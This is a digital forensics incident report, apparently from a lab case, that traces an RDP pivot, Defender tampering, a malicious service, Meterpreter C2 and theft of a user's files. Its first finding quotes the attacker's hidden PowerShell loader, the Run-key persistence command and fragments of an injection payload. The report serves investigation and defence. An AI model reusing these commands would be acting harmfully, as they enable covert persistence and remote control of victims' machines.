Independent sources	artifact:prefetch artifact:run keys evtx:microsoft-windows-powershell%4operational.evtx evtx:windows powershell.evtx memory network
Category	execution / persistence
MITRE ATT&CK	T1547.001, T1059.001, T1027, T1112, T1055, T1620
Period (UTC)	2020-09-19 03:44:03.540241 → 2020-09-19 05:08:44.732435

Observed facts

Windows PowerShell EID 600 RecordID 1 at 2020-09-19 05:08:40.484 UTC: HostApplication 'powershell -nop -w hidden -c sleep 0; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item 'HKLM:Software\q9Z1bssi').GetValue('JqxNhWJA'))))'. PowerShell/Operational EID 4104 RecordID 4 at 05:08:42.966: script spawning '-noni -nop -w hidden -c &([scriptblock]::create(... GzipStream ... FromBase64String ...))' via ProcessStartInfo (sysnative check); EID 4104 RecordID 8 at 05:08:44.089: gzip/base64 payload 'H4sIAHNwZV8CA7VW...'; EID 4104 RecordID 9 at 05:08:44.732: function pLBA using Microsoft.Win32.UnsafeNativeMethods GetProcAddress (reflective WinAPI resolution / shellcode injection). Prefetch POWERSHELL.EXE-CA1AE517.pf RunCount 2, runs 05:08:37.656 and 05:08:43.031; CMD.EXE LastRun 05:08:37.533. Memory psscan: powershell.exe PID 508 (PPID 1380) 05:08:37-05:08:43 and powershell.exe PID 3316 (PPID 508) created 05:08:43, still running at capture. Network: flow 10.42.85.115:50972 -> 203.78.103.109:443 started pcap 04:08:45 (≈05:08:45 host clock), Suricata 'ET MALWARE Possible Metasploit Payload Common Construct Bind_API (from server)', connection ESTABLISHED in memory netscan.

Analysis

True positive (Hayabusa/Chainsaw/Zircolite medium rules: Suspicious PowerShell WindowStyle, FromBase64String on Gzip, WinAPI calls, Malicious PowerShell Keywords). This is the Metasploit 'persistence' style registry-stored payload (random key q9Z1bssi / value JqxNhWJA) triggered by the Run key 'coreupdate' — fired at 05:08:37, which coincides with the responder's USB insertion/logon period (05:08), i.e. triggered by a user logon, not by the collection tools. The reverse HTTPS/TCP Meterpreter session was live at memory acquisition time (PID 3316).

Evidence (11)

UTC	Artifact	Detail	Reference	Original source
2020-09-19 05:08:40.484484	Event logs (EVTX)	EVTX event Windows PowerShell 600 | PowerShell | Provider is Started | HostApplication=powershell -nop -w hidden -c sleep 0; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item 'HKLM:Software\q9Z1bssi').GetValue('JqxNhWJA')))) | HostName=ConsoleHost | HostVersion=5.1.19041.1	evtxecmd/evtxecmd_0.csv#40903	F:\Windows\System32\winevt\logs\Windows PowerShell.evtx
2020-09-19 05:08:42.966250	Event logs (EVTX)	EVTX event Microsoft-Windows-PowerShell/Operational 4104 | Microsoft-Windows-PowerShell | Contains contents of scripts run | Path: | ScriptBlockText: if([IntPtr]::Size -eq 4) {$b=$env:windir+'\sysnative\WindowsPowerShell\v1.0\powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w	evtxecmd/evtxecmd_0.csv#15076	F:\Windows\System32\winevt\logs\Microsoft-Windows-PowerShell%4Operational.evtx
2020-09-19 05:08:44.088879	Event logs (EVTX)	EVTX event Microsoft-Windows-PowerShell/Operational 4104 | Microsoft-Windows-PowerShell | Contains contents of scripts run | Path: | ScriptBlockText: &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String('H4sIAHNwZV8CA7VWe2+bSBD/O5HyHVB	evtxecmd/evtxecmd_0.csv#15080	F:\Windows\System32\winevt\logs\Microsoft-Windows-PowerShell%4Operational.evtx
2020-09-19 05:08:44.732435	Event logs (EVTX)	EVTX event Microsoft-Windows-PowerShell/Operational 4104 | Microsoft-Windows-PowerShell | Contains contents of scripts run | Path: | ScriptBlockText: function pLBA {, Param ($kuL, $fc), $wk = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.Un	evtxecmd/evtxecmd_0.csv#15081	F:\Windows\System32\winevt\logs\Microsoft-Windows-PowerShell%4Operational.evtx
2020-09-19 05:08:37.656394	Prefetch	Execution (Prefetch, previous) POWERSHELL.EXE runs=2 hash=CA1AE517 False	pecmd/prefetch_0.csv#92	F:\Windows\prefetch\POWERSHELL.EXE-CA1AE517.pf
2020-09-19 05:08:37	Memory: process scan (psscan)	process created (memory, psscan) powershell.exe PID=508 | PPID=1380 | ImageFileName=powershell.exe | SessionId=2	volatility/windows.psscan.PsScan.jsonl#101	C:\Sleuthline\cases\test04\memory\DESKTOP-SDN1RPT.mem
2020-09-19 05:08:43	Memory: process scan (psscan)	process created (memory, psscan) powershell.exe	volatility/windows.psscan.PsScan.js	C:\Sleuthline\cases\test04\memory\

UTC	Artifact	Detail	Reference	Original source
		PID=3316 | PPID=508 | ImageFileName=powershell.exe | SessionId=2	onl#13	DESKTOP-SDN1RPT.mem
2020-09-19 04:08:45.483780	Network flows (Suricata)	network flow: start 203.78.103.109 TCP 10.42.85.115:50972 -> 203.78.103.109:443 failed state=established bytes=39409/488552	suricata/case001.pcap/ eve_flow.jsonl#16628	case001.pcap
2020-09-19 04:08:45.783080	Detection Suricata	high ET MALWARE Possible Metasploit Payload Common Construct Bind_API (from server) | TCP 203.78.103.109:443 -> 10.42.85.115:50972 | A Network Trojan was detected | 1:shvkq1T5rI2BCKSFPByeBaHUCDE= | case001.pcap	suricata/case001.pcap/ eve_alert.jsonl#455	case001.pcap
	raw.vol_netscan	{"TreeDepth": "0", "ForeignAddr": "203.78.103.109", "ForeignPort": "443", "LocalAddr": "10.42.85.115", "LocalPort": "50972", "Offset": "209519140929552", "Proto": "TCPv4", "State": "ESTABLISHED"}	volatility/ windows.netscan.NetScan.jsonl#114	
2020-09-19 03:44:03.540241	Run keys	run: ts Microsoft\Windows\CurrentVersion\Run name=coreupdate | command={"executable":"%COMSPEC%","args":["/b /c start /b /min powershell -nop -w hidden -c \"sleep 0; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item 'HKLM:Software\\ q9Z1bssi').GetValue('JqxNhWJA'))))\""]}	dissect/runkeys.jsonl#5	sysvol/windows/ system32/config/ SOFTWARE

F-007: Defense evasion: Windows Defender real-time protection, MAPS reporting and sample submission disabled during the RDP session

Severity	**High**
Confidence	confirmed
Independent sources	artifact:registry (recmd kroll) artifact:windows timeline (activitiescache) evtx:microsoft-windows-windows defender%4operational.evtx
Category	defense evasion
MITRE ATT&CK	T1562.001
Period (UTC)	2020-09-18 22:52:57.112379 → 2020-09-19 03:39:49.843705

Observed facts

Microsoft-Windows-Windows Defender/Operational: EID 5001 RecordID 36 at 2020-09-19 03:39:45.248 UTC (Real-time protection disabled, product 4.18.2009.2); EID 5007 RecordID 37 at 03:39:46.680 SpyNet\SpyNetReporting 0x2 -> 0x0; RecordID 38 at 03:39:47.699 SpyNet\SubmitSamplesConsent 0x1 -> 0x0; RecordID 39 at 03:39:49.844 Features\ TamperProtection 0x1 -> 0x4. SOFTWARE hive: HKLM\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection\ DisableRealtimeMonitoring = 1, key LastWrite 2020-09-19 03:39:44.302. No Defender detection events (1116/1117) exist in the log; MPLog has no entries after 03:30.

Analysis

True positive (Hayabusa/Chainsaw/Zircolite 'Windows Defender Real-time Protection Disabled'). Occurs inside the C137\ Administrator RDP session (3 min after logon) and 11 s before coreupdater.exe is written to disk: a deliberate disabling (most likely via the Windows Security GUI, TamperProtection value 0x4 = off-by-user) to allow the payload to run. Consequence: absence of Defender detections afterwards is not evidence that the payloads are benign.

Evidence (11)

UTC	Artifact	Detail	Reference	Original source
2020-09-19 03:39:45.247925	Event logs (EVTX)	EVTX event Microsoft-Windows-Windows Defender/Operational 5001 | Microsoft-Windows-Windows Defender | Real-time Protection was disabled | %%827	evtxecmd/ evtxecmd_0.csv#35493	F:\Windows\System32\ winevt\logs\Microsoft-Windows-Windows Defender %4Operational.evtx
2020-09-19 03:39:46.680210	Event logs (EVTX)	EVTX event Microsoft-Windows-Windows Defender/Operational 5007 | Microsoft-Windows-Windows Defender | The antimalware	evtxecmd/ evtxecmd_0.csv#35494	F:\Windows\System32\ winevt\logs\Microsoft-Windows-Windows

UTC	Artifact	Detail	Reference	Original source
		platform configuration changed | Old Value: HKLM\SOFTWARE\Microsoft\Windows Defender\SpyNet\SpyNetReporting = 0x2 | New Value: HKLM\SOFTWARE\Microsoft\Windows Defender\SpyNet\SpyNetReporting = 0x0		Defender%4Operational.evtx
2020-09-19 03:39:47.699207	Event logs (EVTX)	EVTX event Microsoft-Windows-Windows Defender/Operational 5007 | Microsoft-Windows-Windows Defender | The antimalware platform configuration changed | Old Value: HKLM\SOFTWARE\Microsoft\Windows Defender\SpyNet\SubmitSamplesConsent = 0x1 | New Value: HKLM\SOFTWARE\Microsoft\Windows Defender\SpyNet\SubmitSamplesConsent = 0x0	evtxecmd/evtxecmd_0.csv#35495	F:\Windows\System32\winevt\logs\Microsoft-Windows-Windows Defender%4Operational.evtx
2020-09-19 03:39:49.843705	Event logs (EVTX)	EVTX event Microsoft-Windows-Windows Defender/Operational 5007 | Microsoft-Windows-Windows Defender | The antimalware platform configuration changed | Old Value: HKLM\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = 0x1 | New Value: HKLM\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = 0x4	evtxecmd/evtxecmd_0.csv#35496	F:\Windows\System32\winevt\logs\Microsoft-Windows-Windows Defender%4Operational.evtx
2020-09-19 03:39:44.301917	Registry (RECmd Kroll)	Registry: key last written ROOT\Microsoft\Windows Defender\Real-Time Protection Threat Hunting | Windows Defender | DisableRealtimeMonitoring=1	recmd_kroll/recmd_kroll_F.csv#8622	F:\Windows\System32\config\SOFTWARE
2020-09-19 03:39:45.247000	Detection Hayabusa	high Windows Defender Real-time Protection Disabled | {"Product Name":"%%827","Product Version":"4.18.2009.2"} | {}	hayabusa/hayabusa_0.jsonl#782	F:\Windows\System32\winevt\logs\Microsoft-Windows-Windows Defender%4Operational.evtx
2020-09-19 03:39:38	Windows Timeline (ActivitiesCache)	Activity: start ; Activity: last modified Microsoft.Windows.SecHealthUI_cw5n1h2txyewy! SecHealthUI Windows Security type=ExecuteOpen	wxtcmd/F/Users/Administrator/AppData/Local/ConnectedDevicesPlatform/L.Administrator/20261025201827_Administrator_Activity.csv#9	F:\Users\Administrator\AppData\Local\ConnectedDevicesPlatform\L.Administrator\ActivitiesCache.db
2020-09-19 03:39:38	Windows Timeline (ActivitiesCache)	Activity: start Microsoft.Windows.SecHealthUI_cw5n1h2txyewy! SecHealthUI type=InFocus duration=00:00:16	wxtcmd/F/Users/Administrator/AppData/Local/ConnectedDevicesPlatform/L.Administrator/20261025201827_Administrator_Activity.csv#10	F:\Users\Administrator\AppData\Local\ConnectedDevicesPlatform\L.Administrator\ActivitiesCache.db
2020-09-19 03:39:47.785620	Registry (RECmd Kroll)	Registry: key last written ROOT\Microsoft\Windows Defender\Spynet Antivirus | Windows Defender | SpyNetReporting=0	recmd_kroll/recmd_kroll_F.csv#8618	F:\Windows\System32\config\SOFTWARE
2020-09-19 03:39:47.785620	Registry (RECmd Kroll)	Registry: key last written ROOT\Microsoft\Windows Defender\Spynet Antivirus | Windows Defender | SubmitSamplesConsent=0	recmd_kroll/recmd_kroll_F.csv#8619	F:\Windows\System32\config\SOFTWARE
2020-09-18 22:52:57.112379	Registry (RECmd Kroll)	Registry: key last written ROOT\Microsoft\Windows Defender\Exclusions\Paths Threat Hunting | Windows Defender	recmd_kroll/recmd_kroll_F.csv#8632	F:\Windows\System32\config\SOFTWARE

F-011: Network context: external host 194.61.24.102 RDP to the DC, DC downloads coreupdater.exe and gets Meterpreter sessions from 203.78.103.109; capture clock ~1 h behind host clock

Severity	**High**
Confidence	probable
Independent sources	artifact:amcache (files) evtx:microsoft-windows-remotedesktopservices-rdpcorets%4operational.evtx evtx:security.evtx memory network
Category	context / initial access (DC)
MITRE ATT&CK	T1133, T1110, T1105, T1071
Period (UTC)	2020-09-19 02:21:27.226262 → 2020-09-19 03:40:45.191906

Observed facts

Suricata (pcap clock): 'ET SCAN RDP Connection Attempt from Nmap' and ~200 'ET INFO RDP - Response To External Host' / 'MS Remote Desktop Administrator Login Request' between 10.42.85.10:3389 and 194.61.24.102 from 02:19:26 to 02:56:03; HTTP GET /coreupdater.exe from 194.61.24.102 by 10.42.85.10 at 02:24:06 (IE11 UA, SHA256 10f3b92002bb98467334161cf85d0b1730851f9256f83c27db125e9a0c1cfda6); 'Possible Metasploit Payload Bind_API (from server)' 203.78.103.109:443 -> 10.42.85.10 at 02:25:19, 02:29:49, 02:56:38. Clock alignment: RDP 10.42.85.10->10.42.85.115 at pcap 02:35:55 vs RdpCoreTS EID 131 03:35:54.79; desktop download at pcap 02:39:58 vs $J 03:39:57.9; C2 flow start pcap 02:40:49 vs Prefetch 03:40:49.4 → pcap timestamps ≈ host UTC − 1 h.

Analysis

Network-only evidence (one source). Indicates the DC (CITADEL-DC01, 10.42.85.10) was reached over RDP from the Internet (194.61.24.102, after an Nmap RDP probe / many login requests – possible brute force) and infected with the same coreupdater.exe ~15 min (host clock ~03:24) before the pivot to DESKTOP-SDN1RPT. Host-side corroboration on the DC is out of scope. All Suricata timestamps in this case must be shifted by ≈ +1 h to be compared with host artifacts.

Evidence (9)

UTC	Artifact	Detail	Reference	Original source
2020-09-19 02:24:06.939835	Detection Suricata	medium ET INFO Executable Download from dotted-quad Host | TCP 10.42.85.10:62410 -> 194.61.24.102:80 | Potentially Bad Traffic | 1:u/j8zDTczy431sRgtCbNVlYztwk= | case001.pcap	suricata/case001.pcap/ eve_alert.jsonl#306	case001.pcap
2020-09-19 02:25:19.071794	Detection Suricata	high ET MALWARE Possible Metasploit Payload Common Construct Bind_API (from server) | TCP 203.78.103.109:443 -> 10.42.85.10:62414 | A Network Trojan was detected | 1:AEtaQJ4Pfkk0lfr1mrIy2qsaW8Q= | case001.pcap	suricata/case001.pcap/ eve_alert.jsonl#72	case001.pcap
2020-09-19 02:21:27.226262	Detection Suricata	low ET INFO RDP - Response To External Host | TCP 10.42.85.10:3389 -> 194.61.24.102:40054 | Misc activity | 1:APtj1Vt0V/H9g6mkVjcfylB8rkU= | case001.pcap	suricata/case001.pcap/ eve_alert.jsonl#32	case001.pcap
2020-09-19 02:24:06.940653	Files transferred (Suricata)	file transferred over the network /coreupdater.exe app_proto=http | http_hostname=194.61.24.102 | src_ip=194.61.24.102 | dest_ip=10.42.85.10 | fileinfo_size=7168 | fileinfo_sha256=10f3b92002bb98467334161cf85d0b1730851f9256f83c27db125e9a0c1cfda6 | fileinfo_md5=eed41b4500e473f97c50c7385ef5e374 | fileinfo_state=CLOSED	suricata/case001.pcap/ eve_fileinfo.jsonl#106	case001.pcap
2020-09-19 02:35:55.347240	Network events (Suricata)	network event rdp TCP 10.42.85.115:3389 -> 10.42.85.10:62514	suricata/case001.pcap/ eve_rdp.jsonl#281	case001.pcap
2020-09-19 03:35:54.789286	Event logs (EVTX)	EVTX event Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational 131 | Microsoft-Windows-RemoteDesktopServices-RdpCoreTS | RDP server accepted a new TCP connection | Connection Type: TCP | 10.42.85.10:62514	evtxecmd/ evtxecmd_0.csv#16805	F:\Windows\System32\winevt\logs\Microsoft-Windows-RemoteDesktopServices-RdpCoreTS%4Operational.evtx
2020-09-19 03:36:22.980909	Event logs (EVTX)	EVTX event - Security 4624 | Microsoft-Windows-Security-Auditing | Successful logon | Target: C137.LOCAL\Administrator | LogonType 3 | LogonId: 0x842184 | AuthenticationPackageName: Kerberos | LogonProcessName: Kerberos | - | - (10.42.85.10)	evtxecmd/ evtxecmd_0.csv#39563	F:\Windows\System32\winevt\logs\Security.evtx
2020-09-19 03:40:45.191906	Amcache (files)	Amcache: file key written (≈ first execution / presence) c:\windows\system32\coreupdater.exe coreupdater.exe SHA1=fd153c66386ca93ec9993d66a84d6f0d129a3a5c compiled=2010-04-14 22:06:53.0000000 app=Unassociated	amcacheparser/ 20261025201808_Amcache_UnassociatedFileEntries.csv#2	F:\Windows\AppCompat\Programs\Amcache.hve
	raw.vol_netscan	{"TreeDepth": "0", "ForeignAddr": "203.78.103.109", "ForeignPort": "443", "LocalAddr": "10.42.85.115", "LocalPort": "50875", "Offset": "209519128050464", "Proto": "TCPv4", "State": "ESTABLISHED"}	volatility/ windows.netscan.NetScan.jsonl#110	

F-006: Lateral movement: RDP logon (type 10) of domain account C137\Administrator from DC 10.42.85.10

Severity	High

Confidence	confirmed
Independent sources	evtx:microsoft-windows-remotedesktopservices-rdpcorets %4operational.evtx evtx:microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx evtx:security.evtx network
Category	lateral movement
MITRE ATT&CK	T1021.001, T1078.002
Period (UTC)	2020-09-19 02:35:55.347240 → 2020-09-19 03:52:13.468385

Observed facts

RdpCoreTS/Operational EID 131 RecordID 33 at 2020-09-19 03:35:54.789 UTC: TCP connection from 10.42.85.10:62514. Security 4624 RecordID 2112 at 03:36:22.981 (LogonType 3, NLA, C137.LOCAL\Administrator from 10.42.85.10, LogonId 0x842184). TerminalServices-RemoteConnectionManager EID 1149 RecordID 39 at 03:36:23.010 (User Administrator, Domain C137, Source 10.42.85.10). Security 4624 RecordID 2125 at 03:36:24.433 LogonType 10, TargetUserSid S-1-5-21-2232410529-1445159330-2725690660-500, LogonId 0x857E73, svchost.exe. Session end: Security 4647 RecordID 2361 at 03:52:13.468 (LogonId 0x857E73), System 7002 RecordID 962, LocalSessionManager EID 24 RecordID 100 at 03:52:13.993 (SessionID 3, 10.42.85.10). Network capture: Suricata eve_rdp 10.42.85.10:62514 -> 10.42.85.115:3389 initial_request/tls_handshake (pcap clock 02:35:55 / 02:36:23, i.e. same session with a ~-1 h offset of the capture clock). Detections: Chainsaw 'RDP logon' (critical), 'User Authentication Succeeded', 'RDP Session Disconnected', Zircolite 'Admin User Remote Logon'.

Analysis

True positive. A 16-minute interactive RDP session by the built-in domain Administrator (RID 500) originating from the domain controller CITADEL-DC01 (10.42.85.10). All malicious activity on this host (Defender disabling 03:39:45, coreupdater download 03:39:57, service install 03:42:42, getsystem 03:43:14, Run key 03:44:03) falls inside this session, so this is the attacker's entry vector on the workstation. The pcap shows 194.61.24.102 hitting RDP on the DC itself shortly before (ET RDP alerts), suggesting the DC was compromised first and used as pivot with stolen domain admin credentials (hypothesis, DC not in scope).

Evidence (8)

UTC	Artifact	Detail	Reference	Original source
2020-09-19 03:36:24.432948	Event logs (EVTX)	EVTX event C:\Windows\System32\svchost.exe Security 4624 | Microsoft-Windows-Security-Auditing | Successful logon | Target: C137\Administrator | LogonType 10 | LogonId: 0x857E73 | AuthenticationPackageName: Negotiate | LogonProcessName: User32 | C:\Windows\System32\svchost.exe | DESKTOP-SDN1RPT (10.42.85.10)	evtxecmd/ evtxecmd_0.csv#39576	F:\Windows\System32\winevt\logs\Security.evtx
2020-09-19 03:36:23.009739	Event logs (EVTX)	EVTX event Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational 1149 | Microsoft-Windows-TerminalServices-RemoteConnectionManager | RDP network connection established | 10.42.85.10	evtxecmd/ evtxecmd_0.csv#34902	F:\Windows\System32\winevt\logs\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx
2020-09-19 03:36:22.980909	Event logs (EVTX)	EVTX event - Security 4624 | Microsoft-Windows-Security-Auditing | Successful logon | Target: C137.LOCAL\Administrator | LogonType 3 | LogonId: 0x842184 | AuthenticationPackageName: Kerberos | LogonProcessName: Kerberos | - | - (10.42.85.10)	evtxecmd/ evtxecmd_0.csv#39563	F:\Windows\System32\winevt\logs\Security.evtx
2020-09-19 03:35:54.789286	Event logs (EVTX)	EVTX event Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational 131 | Microsoft-Windows-RemoteDesktopServices-RdpCoreTS | RDP server accepted a new TCP connection | Connection Type: TCP | 10.42.85.10:62514	evtxecmd/ evtxecmd_0.csv#16805	F:\Windows\System32\winevt\logs\Microsoft-Windows-RemoteDesktopServices-RdpCoreTS %4Operational.evtx

UTC	Artifact	Detail	Reference	Original source
2020-09-19 03:52:13.468385	Event logs (EVTX)	EVTX event Security 4647 | Microsoft-Windows-Security-Auditing | User initiated logoff | LogonId: 0x857E73	evtxecmd/ evtxecmd_0.csv#39812	F:\Windows\System32\ winevt\logs\Security.evtx
2020-09-19 03:36:24.432948	Detection Chainsaw	critical RDP logon | {"AuthenticationPackageName":"Negotiate","LogonProcessName":"User32 ","TargetOutboundDomainName":"-","TargetLinkedLogonId":"0x0","LmPackageName":"-","TargetDomainName":"C137 ","SubjectUserName":"DESKTOP-SDN1RPT$","TargetUserSid":"S-1-5-21-2232410529-1445159330-2725690660-500","IpAddress":"10.42.85.10","KeyLength":0,"SubjectLogonId":"0x3e	chainsaw/ chainsaw_0.jsonl#92	F:\Windows\System32\ winevt\logs\Security.evtx
2020-09-19 02:35:55.347240	Network events (Suricata)	network event rdp TCP 10.42.85.115:3389 -> 10.42.85.10:62514	suricata/case001.pcap/ eve_rdp.jsonl#281	case001.pcap
2020-09-19 02:36:23.467377	Network events (Suricata)	network event rdp TCP 10.42.85.10:62514 -> 10.42.85.115:3389	suricata/case001.pcap/ eve_rdp.jsonl#284	case001.pcap

4.3 Program execution

Reviewed Prefetch (196 entries), Amcache files, ShimCache, BAM, UserAssist, PCA (registry_complement), MUICache, SRUM (app resource, network), LNK/JumpLists/RecentDocs, memory psscan/cmdline. Only malicious binary: C:\Windows\System32\coreupdater.exe (SHA1 fd153c66…), executed once at 03:40:49 by C137\Administrator (SID -500) from Explorer in RDP session 3 (UserAssist, Prefetch, Amcache, PCA 03:43:12, SRUM, psscan PID 8324 exit 03:43:10). Interactive cmd.exe 03:41:06 and sc.exe 03:42:42 (service creation) attributed to the same session (F-012). New: collection of mortysmith's sensitive files via Notepad/Photos 03:45:34-03:47:39 and staging as loot.zip (03:46:18, deleted 03:47:09) (F-013). SRUM shows coreupdater network usage in 04:14 and 05:14 slots (333KB/222KB, 170KB/26KB) and PowerShell (ricksanchez) 178KB at 05:14 (F-014). Benign executions documented in note. Timeline T-011..T-013, IOC loot.zip.

F-012: Execution attribution: coreupdater.exe, cmd.exe and sc.exe launched interactively by C137\Administrator (SID -500) in RDP session 3

Severity	**Critical**
Confidence	confirmed
Independent sources	artifact:amcache (files) artifact:prefetch artifact:registry (recmd, complementary batch) artifact:registry: bam/dam artifact:registry: opensavepidlmru artifact:registry: userassist artifact:srum (application resources) evtx:system.evtx memory
Category	execution
MITRE ATT&CK	T1204.002, T1059.003, T1543.003, T1569.002
Period (UTC)	2020-09-18 22:53:11.065740 → 2020-09-19 04:14:00

Observed facts

Execution artifacts for C:\Windows\System32\coreupdater.exe (SHA1 fd153c66386ca93ec9993d66a84d6f0d129a3a5c, 7168 bytes, PE64, LinkDate 2010-04-14 22:06:53, no version info):
- Administrator NTUSER.DAT OpenSavePidlMRU: "This PC\Downloads\coreupdater.exe" at 03:40:00.69 (file-picker, PickerHost.exe BAM -500 03:40:00.80).
- Amcache UnassociatedFileEntries: file key written 2020-09-19 03:40:45.19 (FullPath c:\windows\system32\ coreupdater.exe).
- Prefetch COREUPDATER.EXE-*.pf (row 22): RunCount 1, LastRun 03:40:49.41; files loaded include \Users\Administrator\ AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2232410529-1445159330-2725690660-500\… (CryptoAPI key container of the -500 profile).

- UserAssist (Administrator NTUSER.DAT, {CEBFF5CD}) "{System}\coreupdater.exe" runs=1 last 03:40:49.347 = launched from Explorer shell (double-click), preceded by CHXSMARTSCREEN.EXE prefetch 03:40:46.
- Memory psscan PID 8324 coreupdater.exe, PPID 4008, SessionId 3, Created 03:40:49, Exited 03:43:10.
- Compatibility Assistant Store (Administrator NTUSER.DAT, AppCompatFlags\Compatibility Assistant\Store) value C:\Windows\System32\coreupdater.exe; key LastWrite 03:43:12.37 (consistent with PCA write on process exit at 03:43:10).
- SRUM AppResourceUseInfo: coreupdater.exe, SID S-1-5-21-2232410529-1445159330-2725690660-500, slot 04:14:00, ForegroundCycleTime 409,073,352.

Command shell / service creation in the same session:
- UserAssist "{System}\cmd.exe" + "{Programs}\System Tools\Command Prompt.lnk" runs=1 at 03:41:06.504, focus time 3m35s (interactive Start-menu launch); Prefetch CMD.EXE run 03:41:06.53; BAM -500 cmd.exe last 03:44:45.97; SRUM cmd.exe SID -500 slot 04:14 (cycles 55,318,526).
- Prefetch SC.EXE (row 125) RunCount 1, LastRun 03:42:42.66, i.e. same second as System 7045 "coreupdater" (ImagePath C:\Windows\System32\coreupdater.exe, auto start, LocalSystem) at 03:42:42.68.
- CMD.EXE prefetch also records run 03:43:14.99 = 7045 "nehgye" (cmd.exe /c echo nehgye > \\.\pipe\nehgye), i.e. getsystem (already F-009).

Analysis

Facts from five independent disk artifact families (Prefetch, UserAssist/BAM/PCA in registry hives, Amcache, SRUM) plus memory (psscan) converge: the operator in the RDP session of C137\Administrator (session 3, from 10.42.85.10, see F-006) picked coreupdater.exe from Downloads (Edge save dialog), it was moved to System32 (F-008), launched by double-click from Explorer at 03:40:49, then an interactive Command Prompt was opened at 03:41:06 and sc.exe was run at 03:42:42 to register coreupdater as an auto-start LocalSystem service (exact sc.exe command line is not available: no 4688/Sysmon, cmdscan of conhost PID 728 empty). The coreupdater.exe process exited at 03:43:10 just before the getsystem service at 03:43:14 — consistent with Meterpreter migrating / elevating, although the exact sequence cannot be proven without process telemetry. This finding complements F-008 with user attribution and the cmd/sc execution chain.

Evidence (13)

UTC	Artifact	Detail	Reference	Original source
2020-09-19 03:40:49.410320	Prefetch	Execution (Prefetch, last) COREUPDATER.EXE runs=1 hash=157C54BB False	pecmd/ prefetch_0.csv#22	F:\Windows\prefetch\ COREUPDATER.EXE-157C54BB.pf
2020-09-19 03:42:42.660809	Prefetch	Execution (Prefetch, last) SC.EXE runs=1 hash=6C4D4413 False	pecmd/ prefetch_0.csv#125	F:\Windows\prefetch\ SC.EXE-6C4D4413.pf
2020-09-18 22:53:11.065740	Prefetch	Execution (Prefetch, previous) CMD.EXE runs=9 hash=BD30981 False	pecmd/ prefetch_0.csv#17	F:\Windows\prefetch\ CMD.EXE-0BD30981.pf
2020-09-19 03:40:49.347000	Registry: UserAssist	Execution (UserAssist, last) {System}\coreupdater.exe runs=1 focus=0 focus_time=0d, 0h, 00m, 00s	recmd_kroll/ 20261025191813/ recmd_kroll_F_UserAssist .csv#39	
2020-09-19 03:41:06.504000	Registry: UserAssist	Execution (UserAssist, last) {System}\cmd.exe runs=1 focus=1 focus_time=0d, 0h, 03m, 35s	recmd_kroll/ 20261025191813/ recmd_kroll_F_UserAssist .csv#41	
2020-09-19 03:44:45.973107	Registry: BAM/DAM	Execution (BAM) \Device\HarddiskVolume3\Windows\System32\cmd.exe ROOT\ControlSet001\Services\bam\State\UserSettings\S-1-5-21-2232410529-1445159330-2725690660-500	recmd_kroll/ 20261025191813/ recmd_kroll_F_BamDam. csv#41	
2020-09-19 03:40:00.691657	Registry: OpenSavePidlMRU	Opened/saved via dialog box This PC\Downloads\coreupdater.exe * mru=0	recmd_kroll/ 20261025191813/ recmd_kroll_F_OpenSave PidlMRU.csv#1	
2020-09-19 03:40:45.191906	Amcache (files)	Amcache: file key written (≈ first execution / presence) c:\windows\system32\coreupdater.exe coreupdater.exe SHA1=fd153c66386ca93ec9993d66a84d6f0d129a3a5c compiled=2010-04-14 22:06:53.0000000 app=Unassociated	amcacheparser/ 20261025201808_Amcac he_UnassociatedFileEntri es.csv#2	F:\Windows\AppCompat\ Programs\Amcache.hve
2020-09-19	Registry (RECmd,	Registry: key last written	recmd_complement/	F:\Users\Administrator\

UTC	Artifact	Detail	Reference	Original source
03:43:12.368432	complementary batch)	ROOT\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ AppCompatFlags\Compatibility Assistant\Store Program Execution | AppCompatFlags Compatibility Assistant Store | C:\Windows\System32\ coreupdater.exe=(Binary data)	recmd_complement_F.csv#16	NTUSER.DAT
2020-09-19 04:14:00	SRUM (application resources)	SRUM: resource usage (end of period) \Device\HarddiskVolume3\Windows\System32\ coreupdater.exe foreground read/written=618496/12288 background read/written=0/0	srumecmd/ 20261025191812_SrumECmd_AppResourceUseInfo_Output.csv#681	F:\Windows\System32\ SRU\SRUDB.dat
2020-09-19 04:14:00	SRUM (application resources)	SRUM: resource usage (end of period) \Device\HarddiskVolume3\Windows\System32\cmd.exe foreground read/written=484352/0 background read/written=0/0	srumecmd/ 20261025191812_SrumECmd_AppResourceUseInfo_Output.csv#682	F:\Windows\System32\ SRU\SRUDB.dat
2020-09-19 03:40:49	Memory: process scan (psscan)	process created (memory, psscan) coreupdater.ex PID=8324 | PPID=4008 | ImageFileName=coreupdater.ex | SessionId=3	volatility/ windows.psscan.PsScan.json#167	C:\Sleuthline\cases\ test04\memory\ DESKTOP-SDN1RPT.mem
2020-09-19 03:42:42.676537	Event logs (EVTX)	EVTX event C:\Windows\System32\coreupdater.exe System 7045 | Service Control Manager | A new service was installed in the system | Name: coreupdater | StartType: auto start | Account: LocalSystem | C:\ Windows\System32\coreupdater.exe	evtxecmd/ evtxecmd_0.csv#40866	F:\Windows\System32\ winevt\logs\System.evtx

F-013: Collection: Administrator opened mortysmith's personal files (SSN, Plans, Thoughts, Portal_gun.png), zipped them as loot.zip, then deleted the archive

Severity	**High**
Confidence	confirmed
